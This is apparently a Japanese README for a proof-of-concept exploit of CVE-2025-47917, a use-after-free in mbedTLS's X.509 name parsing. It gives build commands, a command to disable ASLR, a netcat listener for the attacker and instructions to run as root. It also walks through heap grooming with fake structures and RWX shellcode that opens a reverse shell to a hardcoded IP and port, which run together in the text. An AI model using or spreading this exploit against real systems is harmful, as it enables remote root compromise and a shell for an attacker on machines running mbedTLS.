
CVE-2025-47917のPoCエクスプロイト:mbedTLSのUse-After-Free脆弱性によりリモートコード実行が可能。
このリポジトリは、mbedTLS ライブラリの mbedtls_x509_string_to_names() 名前解析関数における Use-After-Free 脆弱性を標的としたエクスプロイトです。エクスプロイトが成功すると、解放済みヒープメタデータを乗っ取り、制御フローをインジェクションしたシェルコードにリダイレクトすることで、ルート権限で任意のコード実行が可能になります。
オペレーティングシステム: Linux(Kali Linux でテスト済み)
ルート権限: ASLR の無効化とインジェクションしたシェルコードの実行に必要
:
sudo apt update
sudo apt install -y libmbedtls-dev
ビルドツール: gcc, make(任意)
インストール環境に応じてインクルード/ライブラリパスを調整してください:
gcc /path/to/exploit.c \
-I/usr/local/include \
-L/usr/local/lib \
-lmbedtls -lmbedx509 -lmbedcrypto \
-Wl,-rpath,/usr/local/lib \
-o exploit_UAF
ASLR を無効にする(アドレス空間配置のランダム化):
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
攻撃側マシンでリバースシェル用のリスナーを準備する(ポート 4454):
nc -lvnp 4454
エクスプロイトをルート権限で実行する:
sudo ./exploit_UAF
checkAslr() が /proc/sys/kernel/randomize_va_space を読み取り、ASLR が無効であることを確認します。有効な場合は終了します。mbedtls_x509_string_to_names() 呼び出し: 空の名前付きデータリストを初期化します。paddingChunk() が多数の偽の named-data 構造体を割り当て、フリーリストのエントリをシェルコードを指す制御された内容で埋めます。mbedtls_x509_string_to_names() 呼び出し: Use-After-Free 状態をトリガーし、偽のメタデータを含む解放済みチャンクを再利用します。mmap() によってシェルコードを RWX でマッピングし、コピー後、破損した named_data->val.p ポインタを通じて実行します。192.168.92.1874454シェルコードは socket + connect + dup2 のシーケンスを実行し、その後 execve("/bin/sh") を呼び出します。
MIT